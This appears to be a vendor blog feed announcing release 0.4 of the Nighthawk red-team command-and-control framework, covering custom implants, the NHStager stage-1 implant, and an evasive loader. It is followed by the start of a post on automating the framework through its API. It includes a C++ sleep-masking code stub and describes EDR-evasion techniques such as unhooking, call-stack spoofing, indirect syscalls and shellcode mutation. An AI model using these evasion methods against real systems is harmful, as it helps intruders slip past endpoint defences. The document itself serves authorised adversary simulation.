<p>To facilitate Open Agent, we’ve provided customers with extensive documentation and samples on Nighthawk’s C2 protocol and tasking commands. This includes the expected format for all of the built-in commands, how they’re serialised, compressed and encrypted. This enables Nighthawk users to not only build their own agents, but add support for existing commands. For example, should a user desire to build a .NET agent, they may wish to implement the <code class="language-plaintext highlighter-rouge">CPMT_EXECUTE_ASSEMBLY</code> command which would allow them to execute inline .NET assemblies in their own agent but taking advantage of the existing <code class="language-plaintext highlighter-rouge">inproc-execute-assembly</code> command from the UI and backend API server.</p>

<p>At minimum, Open Agents must implement the following three tasking commands, while respecting the communication protocol:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">CPMT_GET_DETAILED_INFO</code>: Allows the backend to obtain basic information about the machine in which the OA is running on, needed for populating several UI elements.</li>
  <li><code class="language-plaintext highlighter-rouge">CPMT_GET_CONFIG</code>: Allows the backend to know the sleep and fragmentation settings of the OA.</li>
  <li><code class="language-plaintext highlighter-rouge">CPMT_TERMINATE_PROCESS</code>: Allows the operator to instruct the OA to terminate its own execution.</li>
</ul>

<p>In addition to Open Agents implementing any of the built-in tasking commands, we also added support for them to roll their own custom commands. Custom commands are implemented using the <code class="language-plaintext highlighter-rouge">CPMT_OPEN_AGENT_CMD</code> command type. This means that an Open Agent is able to completely implement its own unique C2 commands; for example you could have a macOS JXA agent that implemented it’s own <code class="language-plaintext highlighter-rouge">execute-jxa</code> command. Open Agent custom commands can be integrated in to the Nighthawk UI using Nighthawk’s client-side Python modules.</p>

<p>With this release, we’ve provided two sample Open Agents; a python Nighthawk agent and a .NET based agent.</p>

<p>In the video below we can see both python (pyHawk) and .NET (SharpHawk) Open Agents running on macOS and integrating to the Nighthawk UI and backend. The video also shows how custom commands are added to these agents, in this case basic commands for <code class="language-plaintext highlighter-rouge">greet</code> and <code class="language-plaintext highlighter-rouge">sum</code>:</p>

<div class="video-container">
    <iframe src="https://player.vimeo.com/video/1121312197" frameborder="0" allow="autoplay; fullscreen; picture-in-picture" allowfullscreen=""></iframe>
</div>

<h2 id="taking-center-stage">Taking Center Stage</h2>

<p>The concept of staging is one that is used heavily in MDSec’s own red team operations. Staging provides red teamers with a number of benefits, including a tiny initial footprint, compartmentalisation for burnable payloads, reduced exposure of your stage 2 implants and smaller IoCs due to a minimalistic implant.</p>

<p>Complementing our Open Agent feature, in our 0.4 release we’ve introduced a suite of new staging tools we’ve dubbed the Stager Kit. This suite is compromised of NHStager, a Builder, Visual Studio code templates and a new OpSec driven loader.</p>

<p>The Nighthawk framework now provides the optional ability to deploy implants across stages 0 to 2, where NHLoader PE artifacts can be used to load NHStager implants, to triage and assess a host and environment, prior to in-memory loading the stage 2 implants such as Nighthawk. This might look as follows:</p>

<p><img src="/assets/img/openagentarch.png" /></p>

<p>The Stager Kit is a plugin based stage 1 framework designed with OpSec and malleability in mind when used in conjunction with our loader (detailed below). The Stager Kit comes with stage 1 agent, NHStager, which are present provides a SMB based server agent.</p>

<p>NHStager supports a minimal set of commands, including:</p>

<p><code class="language-plaintext highlighter-rouge">whoami</code>, <code class="language-plaintext highlighter-rouge">getosversion</code>, <code class="language-plaintext highlighter-rouge">ps</code>, <code class="language-plaintext highlighter-rouge">execute-bof</code>, <code class="language-plaintext highlighter-rouge">inject</code>, <code class="language-plaintext highlighter-rouge">ls</code>, <code class="language-plaintext highlighter-rouge">mv</code>, <code class="language-plaintext highlighter-rouge">cp</code>, <code class="language-plaintext highlighter-rouge">rm</code> , <code class="language-plaintext highlighter-rouge">mkdir</code>, <code class="language-plaintext highlighter-rouge">rmdir</code>, <code class="language-plaintext highlighter-rouge">upload</code>, <code class="language-plaintext highlighter-rouge">download</code> and <code class="language-plaintext highlighter-rouge">shutdown</code>
NHStager comes with a built-in BOF loader, with full support for the Cobalt Strike BOF API. This allows post-exploitation actions to be performed from within the stage 1, using existing public tooling.</p>

<p>Each component of NHStager is extensible through a plugin based architecture, including even the server component, meaning that custom agents can be built for arbitrary protocols. With this release we provide an OpSec implementation of an SMB stage 1, complete with a set of evasive plugins.</p>

<p>Further, we also provide a source code based example of a TCP stage 1 as part of the Stager Kit. This comes in the form of a Visual Studio project built for developing your own NHStager agents and plugins. NHStager agents do not need to beacon by default (however this can be achieved and even integrated as an Open Agent), acting as a server based listener, waiting for communications from the client. An example client is provided in the form of a BOF with a client-side Nighthawk Python module.</p>

<p>To process the plugins and construct the stage 1, we provide a builder tool which will process the list of plugins, configure and build the final stage 1 DLL:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">Nighthawk</span> <span class="nx">Stager</span> <span class="nx">Build</span> <span class="nx">Tool</span>

<span class="nx">Option</span> <span class="dl">'</span><span class="s1">--plugins</span><span class="dl">'</span> <span class="nx">is</span> <span class="nx">required</span><span class="p">.</span>
<span class="nx">Option</span> <span class="dl">'</span><span class="s1">--arch</span><span class="dl">'</span> <span class="nx">is</span> <span class="nx">required</span><span class="p">.</span>

<span class="nx">Description</span><span class="p">:</span>
  <span class="nx">Build</span> <span class="nx">a</span> <span class="nx">Nighthawk</span> <span class="nx">stager</span>

<span class="nx">Usage</span><span class="p">:</span>
  <span class="nx">Builder</span> <span class="p">[</span><span class="nx">options</span><span class="p">]</span>

<span class="nx">Options</span><span class="p">:</span>
  <span class="o">--</span><span class="nx">plugins</span> <span class="o">&lt;</span><span class="nx">plugins</span><span class="o">&gt;</span> <span class="p">(</span><span class="nx">REQUIRED</span><span class="p">)</span>  <span class="nx">Specify</span> <span class="nx">one</span> <span class="nx">or</span> <span class="nx">more</span> <span class="nx">paths</span> <span class="nx">to</span> <span class="nx">plugins</span> <span class="nx">that</span> <span class="nx">the</span> <span class="nx">stager</span> <span class="nx">should</span> <span class="nx">use</span>
  <span class="o">--</span><span class="nx">config</span> <span class="o">&lt;</span><span class="nx">config</span><span class="o">&gt;</span>               <span class="nx">Configuration</span> <span class="k">for</span> <span class="nx">the</span> <span class="nx">server</span> <span class="nx">plugin</span><span class="p">.</span> <span class="nx">This</span> <span class="nx">data</span> <span class="nx">will</span> <span class="nx">be</span> <span class="nx">serialized</span> <span class="nx">according</span> <span class="nx">to</span> <span class="nx">the</span>
                                  <span class="nx">prefix</span> <span class="nx">and</span> <span class="nx">passed</span> <span class="nx">to</span> <span class="nx">the</span> <span class="nx">server</span> <span class="nx">plugin</span> <span class="k">in</span> <span class="nx">the</span> <span class="nx">order</span> <span class="nx">it</span> <span class="nx">was</span> <span class="nx">specified</span><span class="p">.</span> <span class="nx">The</span> <span class="nx">valid</span>
                                  <span class="nx">prefixes</span> <span class="nx">are</span><span class="p">:</span>
                                    <span class="nx">f</span> <span class="o">-</span> <span class="nx">The</span> <span class="nx">contents</span> <span class="k">of</span> <span class="nx">a</span> <span class="nx">file</span><span class="p">,</span> <span class="nx">e</span><span class="p">.</span><span class="nx">g</span><span class="p">.</span> <span class="nx">f</span><span class="dl">"</span><span class="s2">Bar.bin</span><span class="dl">"</span>
                                    <span class="nx">z</span> <span class="o">-</span> <span class="nx">Null</span><span class="o">-</span><span class="nx">terminated</span> <span class="nx">ANSI</span> <span class="nx">string</span><span class="p">,</span> <span class="nx">e</span><span class="p">.</span><span class="nx">g</span><span class="p">.</span> <span class="nx">z</span><span class="dl">"</span><span class="s2">foobar</span><span class="dl">"</span>
                                    <span class="nx">Z</span> <span class="o">-</span> <span class="nx">Null</span><span class="o">-</span><span class="nx">terminated</span> <span class="nx">unicode</span> <span class="nx">string</span><span class="p">,</span> <span class="nx">e</span><span class="p">.</span><span class="nx">g</span><span class="p">.</span> <span class="nx">Z</span><span class="dl">"</span><span class="s2">foobar</span><span class="dl">"</span>
                                    <span class="nx">b</span> <span class="o">-</span> <span class="nx">Binary</span> <span class="nx">data</span> <span class="k">in</span> <span class="nx">hexadecimal</span> <span class="nx">form</span><span class="p">,</span> <span class="nx">e</span><span class="p">.</span><span class="nx">g</span><span class="p">.</span> <span class="nx">b</span><span class="dl">"</span><span class="s2">012345</span><span class="dl">"</span> <span class="nx">becomes</span> <span class="mi">01</span> <span class="mi">23</span> <span class="mi">45</span>
                                    <span class="nx">i</span> <span class="o">-</span> <span class="mi">4</span> <span class="nx">byte</span> <span class="nx">integer</span> <span class="k">in</span> <span class="nx">decimal</span> <span class="nx">form</span> <span class="nx">e</span><span class="p">.</span><span class="nx">g</span><span class="p">.</span> <span class="nx">i</span><span class="dl">"</span><span class="s2">123,456</span><span class="dl">"</span>
                                    <span class="nx">l</span> <span class="o">-</span> <span class="mi">8</span> <span class="nx">byte</span> <span class="nx">integer</span> <span class="k">in</span> <span class="nx">decimal</span> <span class="nx">form</span> <span class="nx">e</span><span class="p">.</span><span class="nx">g</span><span class="p">.</span> <span class="nx">l</span><span class="dl">"</span><span class="s2">5,294,967,295</span><span class="dl">"</span>
  <span class="o">--</span><span class="nx">spawnto64</span> <span class="o">&lt;</span><span class="nx">spawnto64</span><span class="o">&gt;</span>         <span class="nx">The</span> <span class="nx">x64</span> <span class="nx">SpawnTo</span> <span class="nx">value</span> <span class="nx">that</span> <span class="nx">will</span> <span class="nx">be</span> <span class="nx">returned</span> <span class="nx">by</span> <span class="nx">the</span> <span class="nx">BOF</span> <span class="nx">API</span> <span class="p">[</span><span class="k">default</span><span class="p">:</span>
                                  <span class="nx">C</span><span class="p">:</span><span class="err">\</span><span class="nx">Windows</span><span class="err">\</span><span class="nx">System32</span><span class="err">\</span><span class="nx">rundll32</span><span class="p">.</span><span class="nx">exe</span><span class="p">]</span>
  <span class="o">--</span><span class="nx">spawnto86</span> <span class="o">&lt;</span><span class="nx">spawnto86</span><span class="o">&gt;</span>         <span class="nx">The</span> <span class="nx">x86</span> <span class="nx">SpawnTo</span> <span class="nx">value</span> <span class="nx">that</span> <span class="nx">will</span> <span class="nx">be</span> <span class="nx">returned</span> <span class="nx">by</span> <span class="nx">the</span> <span class="nx">BOF</span> <span class="nx">API</span> <span class="p">[</span><span class="k">default</span><span class="p">:</span>
                                  <span class="nx">C</span><span class="p">:</span><span class="err">\</span><span class="nx">Windows</span><span class="err">\</span><span class="nx">System32</span><span class="err">\</span><span class="nx">rundll32</span><span class="p">.</span><span class="nx">exe</span><span class="p">]</span>
  <span class="o">--</span><span class="nx">arch</span> <span class="o">&lt;</span><span class="nx">x64</span><span class="o">|</span><span class="nx">x86</span><span class="o">&gt;</span> <span class="p">(</span><span class="nx">REQUIRED</span><span class="p">)</span>     <span class="nx">Specify</span> <span class="nx">the</span> <span class="nx">architecture</span> <span class="k">of</span> <span class="nx">the</span> <span class="nx">generated</span> <span class="nx">stager</span>
  <span class="o">--</span><span class="nx">version</span>                       <span class="nx">Show</span> <span class="nx">version</span> <span class="nx">information</span>
  <span class="o">-</span><span class="p">?,</span> <span class="o">-</span><span class="nx">h</span><span class="p">,</span> <span class="o">--</span><span class="nx">help</span>                  <span class="nx">Show</span> <span class="nx">help</span> <span class="nx">and</span> <span class="nx">usage</span> <span class="nx">information</span>
</code></pre></div></div>

<p>To streamline interaction with NHStager servers, we’ve also provided a client-side Python module that allows you to execute any of the stage 1 server commands more seamlessly from within Nighthawk.</p>

<p>For example, to run a BOF on your NHStager server running on a remote host, you might do something like the following which shows us executing a BOF:</p>

<p><img src="/assets/img/nhstagerbof.png" /></p>

<p><img src="/assets/img/nhstagerbof2.png" /></p>

<h3 id="building-a-nhstager-plugin">Building a NHStager Plugin</h3>

<p>NHStager is built to be extended such that custom stage 1 implants can be developed by its operators. This is achieved through a plugin-based framework, where plugins are integrated in to final DLL using aforementioned builder. NHStager itself has minimal OpSec, but is specifically designed to be used in conjunction with our loader (detailed below).</p>

<p>NHStager plugins come in the form of DLLs, with a slightly modified definition of <code class="language-plaintext highlighter-rouge">DllMain</code>:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">BOOL</span> <span class="nx">APIENTRY</span> <span class="nc">DllMain</span><span class="p">(</span> <span class="nx">HMODULE</span> <span class="nx">hModule</span><span class="p">,</span>
                       <span class="nx">DWORD</span>  <span class="nx">ul_reason_for_call</span><span class="p">,</span>
                       <span class="nx">LPVOID</span> <span class="nx">lpReserved</span><span class="p">,</span>
                       <span class="nx">PSTAGER</span> <span class="nx">Stager</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">switch </span><span class="p">(</span><span class="nx">ul_reason_for_call</span><span class="p">)</span>
    <span class="p">{</span>
		<span class="k">case</span> <span class="nx">DLL_PROCESS_ATTACH</span><span class="p">:</span>
        <span class="p">{</span>
	        <span class="k">break</span><span class="p">;</span>
        <span class="p">}</span>

		<span class="k">case</span> <span class="nx">DLL_PROCESS_DETACH</span><span class="p">:</span>
	    <span class="p">{</span>
		    <span class="k">break</span><span class="p">;</span>
	    <span class="p">}</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="nx">TRUE</span><span class="p">;</span>
<span class="p">}</span>

</code></pre></div></div>

<p>The eagled eyed reader will note the additional <code class="language-plaintext highlighter-rouge">Stager</code> parameter. This is a pointer to a structure that is shared by the stager and all of its plugins, and which contains metadata about the stager as well as an array of function pointers for the Stager API.</p>

<p>Via the Stager API, operators are able to hook various features of the stager to allow custom implementations; this includes things like <code class="language-plaintext highlighter-rouge">GetProcAddress</code>, <code class="language-plaintext highlighter-rouge">GetModuleHandleA</code>, <code class="language-plaintext highlighter-rouge">GetModuleHandleW</code> ,<code class="language-plaintext highlighter-rouge">LoadLibrary</code>, the process injection routines, sleep masking, the communications methods and the syscall implementations used by the BOF API.</p>

<p>For example, to implement a custom sleep masking, ServerSleep can be hooked like the below within a plugin:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">Core</span> <span class="o">=</span> <span class="nx">Stager</span><span class="p">;</span>
<span class="nx">Core</span><span class="o">-&gt;</span><span class="nx">Api</span><span class="p">.</span><span class="nx">ServerSleep</span> <span class="o">=</span> <span class="nx">reinterpret_cast</span><span class="o">&lt;</span><span class="nf">decltype</span><span class="p">(</span><span class="nx">ServerSleep</span><span class="p">)</span><span class="o">*&gt;</span><span class="p">(</span><span class="nx">StubSleep</span><span class="p">);</span>
</code></pre></div></div>

<p>An implementation of a sleep masking stub can then then be implemented. For example, a basic implementation below is shown that will encrypt the stager in memory, alongside all its plugins, marking those sections as <code class="language-plaintext highlighter-rouge">PAGE_READWRITE</code> in the process. We of course wouldn’t recommend this for use in live operations, but it serves as a simple example of how NHStager plugins can be extended to implement custom functionality:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="nx">ULONG</span> <span class="nx">APIENTRY</span> <span class="nc">StubSleep</span><span class="p">(</span><span class="nx">_In_</span> <span class="nx">BOOLEAN</span> <span class="nx">Wait</span><span class="p">,</span> <span class="nx">_In_opt_</span> <span class="nx">ULONG</span> <span class="nx">Count</span><span class="p">,</span> <span class="nc">_In_reads_</span><span class="p">(</span><span class="nx">Count</span><span class="p">)</span> <span class="nx">HANDLE</span> <span class="nx">Handles</span><span class="p">[],</span> <span class="nx">_In_opt_</span> <span class="nx">BOOLEAN</span> <span class="nx">WaitAll</span><span class="p">,</span> <span class="nx">_In_</span> <span class="nx">BOOLEAN</span> <span class="nx">Alertable</span><span class="p">,</span> <span class="nx">_In_opt_</span> <span class="nx">ULONG</span> <span class="nx">Timeout</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">//</span>
    <span class="c1">// Encrypt the stager and all other plugins beside us</span>
    <span class="c1">//</span>

    <span class="nx">ULONG</span> <span class="nx">OldProtect</span><span class="p">{};</span>

    <span class="k">for </span><span class="p">(</span><span class="nx">AUTO</span> <span class="nx">Next</span><span class="p">{</span> <span class="nx">Core</span><span class="o">-&gt;</span><span class="nx">Plugins</span><span class="p">.</span><span class="nx">Flink</span> <span class="p">};</span> <span class="nx">Next</span> <span class="o">!=</span> <span class="o">&amp;</span><span class="nx">Core</span><span class="o">-&gt;</span><span class="nx">Plugins</span><span class="p">;</span> <span class="nx">Next</span> <span class="o">=</span> <span class="nx">Next</span><span class="o">-&gt;</span><span class="nx">Flink</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="nx">AUTO</span> <span class="nx">Plugin</span><span class="p">{</span> <span class="nc">CONTAINING_RECORD</span><span class="p">(</span><span class="nx">Next</span><span class="p">,</span> <span class="nx">PLUGIN_INFORMATION</span><span class="p">,</span> <span class="nx">ListEntry</span><span class="p">)</span> <span class="p">};</span>

        <span class="k">if </span><span class="p">(</span><span class="nx">reinterpret_cast</span><span class="o">&lt;</span><span class="nx">PUCHAR</span><span class="o">&gt;</span><span class="p">(</span><span class="nx">StubSleep</span><span class="p">)</span> <span class="o">&gt;=</span> <span class="nx">reinterpret_cast</span><span class="o">&lt;</span><span class="nx">PUCHAR</span><span class="o">&gt;</span><span class="p">(</span><span class="nx">Plugin</span><span class="o">-&gt;</span><span class="nx">BaseAddress</span><span class="p">)</span> 
            <span class="o">&amp;&amp;</span>
            <span class="nx">reinterpret_cast</span><span class="o">&lt;</span><span class="nx">PUCHAR</span><span class="o">&gt;</span><span class="p">(</span><span class="nx">StubSleep</span><span class="p">)</span> <span class="o">&lt;=</span> <span class="nx">reinterpret_cast</span><span class="o">&lt;</span><span class="nx">PUCHAR</span><span class="o">&gt;</span><span class="p">(</span><span class="nx">Plugin</span><span class="o">-&gt;</span><span class="nx">BaseAddress</span><span class="p">)</span> <span class="o">+</span> <span class="nx">Plugin</span><span class="o">-&gt;</span><span class="nx">Length</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="k">continue</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="nc">VirtualProtect</span><span class="p">(</span><span class="nx">Plugin</span><span class="o">-&gt;</span><span class="nx">BaseAddress</span><span class="p">,</span> <span class="nx">Plugin</span><span class="o">-&gt;</span><span class="nx">Length</span><span class="p">,</span> <span class="nx">PAGE_READWRITE</span><span class="p">,</span> <span class="o">&amp;</span><span class="nx">OldProtect</span><span class="p">);</span>
        <span class="nc">RtlEncryptMemory</span><span class="p">(</span><span class="nx">Plugin</span><span class="o">-&gt;</span><span class="nx">BaseAddress</span><span class="p">,</span> <span class="nx">Plugin</span><span class="o">-&gt;</span><span class="nx">Length</span> <span class="o">-</span> <span class="p">(</span><span class="nx">Plugin</span><span class="o">-&gt;</span><span class="nx">Length</span> <span class="o">%</span> <span class="nx">RTL_ENCRYPT_MEMORY_SIZE</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="nx">PVOID</span>  <span class="nx">StagerAddress</span><span class="p">{</span> <span class="nx">Core</span><span class="o">-&gt;</span><span class="nx">StagerAddress</span> <span class="p">};</span>
    <span class="nx">SIZE_T</span> <span class="nx">StagerSize</span>   <span class="p">{</span> <span class="nx">Core</span><span class="o">-&gt;</span><span class="nx">StagerSize</span> <span class="p">};</span>

    <span class="nc">VirtualProtect</span><span class="p">(</span><span class="nx">StagerAddress</span><span class="p">,</span> <span class="nx">StagerSize</span><span class="p">,</span> <span class="nx">PAGE_READWRITE</span><span class="p">,</span> <span class="o">&amp;</span><span class="nx">OldProtect</span><span class="p">);</span>
    <span class="nc">RtlEncryptMemory</span><span class="p">(</span><span class="nx">StagerAddress</span><span class="p">,</span> <span class="nx">StagerSize</span> <span class="o">-</span> <span class="p">(</span><span class="nx">StagerSize</span> <span class="o">%</span> <span class="nx">RTL_ENCRYPT_MEMORY_SIZE</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span>

    <span class="c1">//</span>
    <span class="c1">// Now sleep</span>
    <span class="c1">//</span>

    <span class="nx">ULONG</span> <span class="nx">Result</span><span class="p">{};</span>

    <span class="k">if </span><span class="p">(</span><span class="nx">Wait</span> <span class="o">==</span> <span class="nx">TRUE</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="nx">Result</span> <span class="o">=</span> <span class="nc">WaitForMultipleObjectsEx</span><span class="p">(</span><span class="nx">Count</span><span class="p">,</span> <span class="nx">Handles</span><span class="p">,</span> <span class="nx">WaitAll</span><span class="p">,</span> <span class="nx">Timeout</span><span class="p">,</span> <span class="nx">Alertable</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">else</span>
    <span class="p">{</span>
        <span class="nx">Result</span> <span class="o">=</span> <span class="nc">SleepEx</span><span class="p">(</span><span class="nx">Timeout</span><span class="p">,</span> <span class="nx">Alertable</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="c1">//</span>
    <span class="c1">// Decrypt the stager and plugins and fix their memory permissions</span>
    <span class="c1">//</span>

    <span class="nc">RtlDecryptMemory</span><span class="p">(</span><span class="nx">StagerAddress</span><span class="p">,</span> <span class="nx">StagerSize</span> <span class="o">-</span> <span class="p">(</span><span class="nx">StagerSize</span> <span class="o">%</span> <span class="nx">RTL_ENCRYPT_MEMORY_SIZE</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span>
    <span class="nc">FixSectionPermissions</span><span class="p">(</span><span class="nx">Core</span><span class="o">-&gt;</span><span class="nx">StagerAddress</span><span class="p">,</span> <span class="nx">Core</span><span class="o">-&gt;</span><span class="nx">NumberOfSections</span><span class="p">,</span> <span class="nx">Core</span><span class="o">-&gt;</span><span class="nx">StagerSections</span><span class="p">);</span>

    <span class="k">for </span><span class="p">(</span><span class="nx">AUTO</span> <span class="nx">Next</span><span class="p">{</span> <span class="nx">Core</span><span class="o">-&gt;</span><span class="nx">Plugins</span><span class="p">.</span><span class="nx">Flink</span> <span class="p">};</span> <span class="nx">Next</span> <span class="o">!=</span> <span class="o">&amp;</span><span class="nx">Core</span><span class="o">-&gt;</span><span class="nx">Plugins</span><span class="p">;</span> <span class="nx">Next</span> <span class="o">=</span> <span class="nx">Next</span><span class="o">-&gt;</span><span class="nx">Flink</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="nx">AUTO</span> <span class="nx">Plugin</span><span class="p">{</span> <span class="nc">CONTAINING_RECORD</span><span class="p">(</span><span class="nx">Next</span><span class="p">,</span> <span class="nx">PLUGIN_INFORMATION</span><span class="p">,</span> <span class="nx">ListEntry</span><span class="p">)</span> <span class="p">};</span>

        <span class="k">if </span><span class="p">(</span><span class="nx">reinterpret_cast</span><span class="o">&lt;</span><span class="nx">PUCHAR</span><span class="o">&gt;</span><span class="p">(</span><span class="nx">StubSleep</span><span class="p">)</span> <span class="o">&gt;=</span> <span class="nx">reinterpret_cast</span><span class="o">&lt;</span><span class="nx">PUCHAR</span><span class="o">&gt;</span><span class="p">(</span><span class="nx">Plugin</span><span class="o">-&gt;</span><span class="nx">BaseAddress</span><span class="p">)</span>
            <span class="o">&amp;&amp;</span>
            <span class="nx">reinterpret_cast</span><span class="o">&lt;</span><span class="nx">PUCHAR</span><span class="o">&gt;</span><span class="p">(</span><span class="nx">StubSleep</span><span class="p">)</span> <span class="o">&lt;=</span> <span class="nx">reinterpret_cast</span><span class="o">&lt;</span><span class="nx">PUCHAR</span><span class="o">&gt;</span><span class="p">(</span><span class="nx">Plugin</span><span class="o">-&gt;</span><span class="nx">BaseAddress</span><span class="p">)</span> <span class="o">+</span> <span class="nx">Plugin</span><span class="o">-&gt;</span><span class="nx">Length</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="k">continue</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="nc">RtlDecryptMemory</span><span class="p">(</span><span class="nx">Plugin</span><span class="o">-&gt;</span><span class="nx">BaseAddress</span><span class="p">,</span> <span class="nx">Plugin</span><span class="o">-&gt;</span><span class="nx">Length</span> <span class="o">-</span> <span class="p">(</span><span class="nx">Plugin</span><span class="o">-&gt;</span><span class="nx">Length</span> <span class="o">%</span> <span class="nx">RTL_ENCRYPT_MEMORY_SIZE</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span>
        <span class="nc">FixSectionPermissions</span><span class="p">(</span><span class="nx">Plugin</span><span class="o">-&gt;</span><span class="nx">BaseAddress</span><span class="p">,</span> <span class="nx">Plugin</span><span class="o">-&gt;</span><span class="nx">NumberOfSections</span><span class="p">,</span> <span class="nx">Plugin</span><span class="o">-&gt;</span><span class="nx">SectionHeaders</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="nx">Result</span><span class="p">;</span>
<span class="p">}</span>

</code></pre></div></div>

<p>Once the custom plugin set has been compiled, they can be included in the final stage 1 output by passing them to the builder using the <code class="language-plaintext highlighter-rouge">--plugins</code> argument.</p>

<h3 id="bootstrap-your-opsec">Bootstrap Your OpSec</h3>

<p>To complement NHStager, we developed a new loader that is integrated in to the Nighthawk backend API and UI payload generator. The loader uses a plugin architecture to provide evasive strategies to PE, while converting them to PIC shellcode. The loader is intended to provide configurable evasion for NHStager, any custom PEs the user wishes to run and in the longer term will completely replace Nighthawk’s own reflective loader. In this release, aside from NHStager, the loader replaces Nighthawk’s previous keying and compression implementations. While this facilitates many of the same keying strategies as prior releases, it now provides the capability to stack them. That is, keying can be performed multiple times, using multiple keys. For example, the Nighthawk shellcode could be first encrypted against the current user’s username, then with a key derived from the machine name, then against an environment variable and finally with a key retrieved from a HTTPS request.</p>

<p>The loader provides a multitude of OpSec options that can be made persistent across the loaded PE through IAT hooks; the available plugins include:</p>

<ul>
  <li>Custom unhooking to remove user mode hooks,</li>
  <li>A call stack spoofing plugin that masks the stack of threads generated by the PE,</li>
  <li>Capability to clear the process instrumentation callback,</li>
  <li>A syscall proxy to allow the PE to perform indirect syscall execution via the threadpool,</li>
  <li>An opsec LoadLibrary implementation to proxy DLL loads,</li>
  <li>A plugin to dynamically resolve and perform indirect syscalls,</li>
  <li>An IAT hook plugin to redirect API calls made by the PE to the loaders OpSec plugin implementations,</li>
</ul>

<p>If the IAT hook plugin is enabled, the selected OpSec strategies will apply globally across the PE. The loader can be used to convert any PE (DLL or EXE) to PIC; for example, the operator may want to turn other tools such as Chisel or mimikatz to PIC shellcode, which can easily be achieved using the loader.</p>

<p>Additionally, the outputted PIC shellcode is obfuscated using a new mutation engine built to support the loader, helping to evade static signatures that may be crafted for detection purposes.</p>

<div class="video-container">
    <iframe src="https://player.vimeo.com/video/1121827113" frameborder="0" allow="autoplay; fullscreen; picture-in-picture" allowfullscreen=""></iframe>
</div>

<h2 id="nhconfigurator">NHConfigurator</h2>

<p>Nighthawk is highly configurable, with operators able to change almost every component of the beacons loading and runtime configuration to alter the beacon’s behaviour. However, with this flexibility comes complexity. In order to help assist operators in rapidly configuring and deploying Nighthawk profiles, we developed NHConfigurator.</p>

<p>NHConfigurator is a simple UI based wizard that allows operators to cherry pick which high-level OpSec configuration options they want, while also automatically creating random beacon network profiles, producing nginx <code class="language-plaintext highlighter-rouge">location</code> rules and optionally deploying the configuration to the backend teamserver.</p>

<p>Alternatively, a simple step profile generation is available that allows the operator to select the recommended profile based on that commonly seen to be successful against a given EDR solution, with EDR presets.</p>

<p>In the video below, we give a quick demonstration of NHConfigurator and its capabilities for profile generation:</p>

<div class="video-container">
    <iframe src="https://player.vimeo.com/video/1121403144" frameborder="0" allow="autoplay; fullscreen; picture-in-picture" allowfullscreen=""></iframe>
</div>

<p>As we draw to a close on the beta testing, we anticipate pushing Nighthawk 0.4 out to customers over the coming weeks.</p>]]></content><author><name>Nighthawk C2</name><email>nighthawk [at] mdsec [dot] co [dot] uk</email></author><category term="nighthawk" /><category term="0.4" /><category term="c2" /><category term="redteam" /><category term="adversary simulation" /><summary type="html"><![CDATA[Nighthawk, Janus]]></summary></entry><entry><title type="html">Automating Operations with Nighthawk</title><link href="https://nighthawkc2.io/automating-operations/" rel="alternate" type="text/html" title="Automating Operations with Nighthawk" /><published>2025-09-19T01:00:00+01:00</published><updated>2025-09-19T01:00:00+01:00</updated><id>https://nighthawkc2.io/automating-operations</id><content type="html" xml:base="https://nighthawkc2.io/automating-operations/"><![CDATA[<h1 id="introduction">Introduction</h1>

<p>In June ‘24, we released Nighthawk 0.3; the main focus of this release was a major overhaul of our backend infrastructure. This included the addition of a JSON RPC web service API to support red teams in automating operational actions and to facilitate integration with other resources. Every component of the framework (beacon, artifacts and team servers) can be instrumented through the API. To our knowledge, this was the first time such features had been made available in a commercial C2 framework.</p>

<p>Since then, the API has been heavily adopted by our customers and we’ve heard many success stories about the power this brought them.</p>

<p>In this post, we’ll walk through how the Nighthawk API works, whats available and illustrate a couple of examples of how this can be integrated in to your operations to improve operator efficiency.</p>

<h1 id="overview">Overview</h1>

<p>The Nighthawk API can be accessed over HTTPS or via WebSocket for real-time event notification. To support development against the API, we’ve provided both Swagger and Redoc documentation, these allow requests to be manually crafted against the API:</p>

<p><img src="/assets/img/swagger.png" /></p>

<p><img src="/assets/img/redoc2025.png" /></p>

<p>To fast track development, we’ve also provided libraries in .NET and python, as well as a large number of examples for performing different tasks such as:</p>

<ul>
  <li>Programmatically running BOFs and assemblies,</li>
  <li>Creating payloads,</li>
  <li>Sending commands to beacons,</li>
  <li>Receiving images from the built-in <code class="language-plaintext highlighter-rouge">screenwatch</code></li>
</ul>

<h2 id="developing-with-the-net-api">Developing with the .NET API</h2>

<p>The .NET API library can be found in the <code class="language-plaintext highlighter-rouge">Samples\ApiClient</code> folder of the build. The library comes in the form of a Visual Studio project, and can be added to any existing solution that you want to use for developing against the API. An example of this is the <code class="language-plaintext highlighter-rouge">Samples\API</code> project which imports the BackendClient project to leverage its helper methods:</p>

<p><img src="/assets/img/visualstudio.png" /></p>

<p>To make use of the BackendClient API, import it to your project by adding <code class="language-plaintext highlighter-rouge">using BackendClient.API;</code> ; this should now make all helper methods available to you.</p>

<p>When building out your project, the first thing you need to do in order to interact with the API is establish an authenticated session; the <code class="language-plaintext highlighter-rouge">ApiClient</code> class from the Backend provides a number of helper methods to do this, for example:</p>

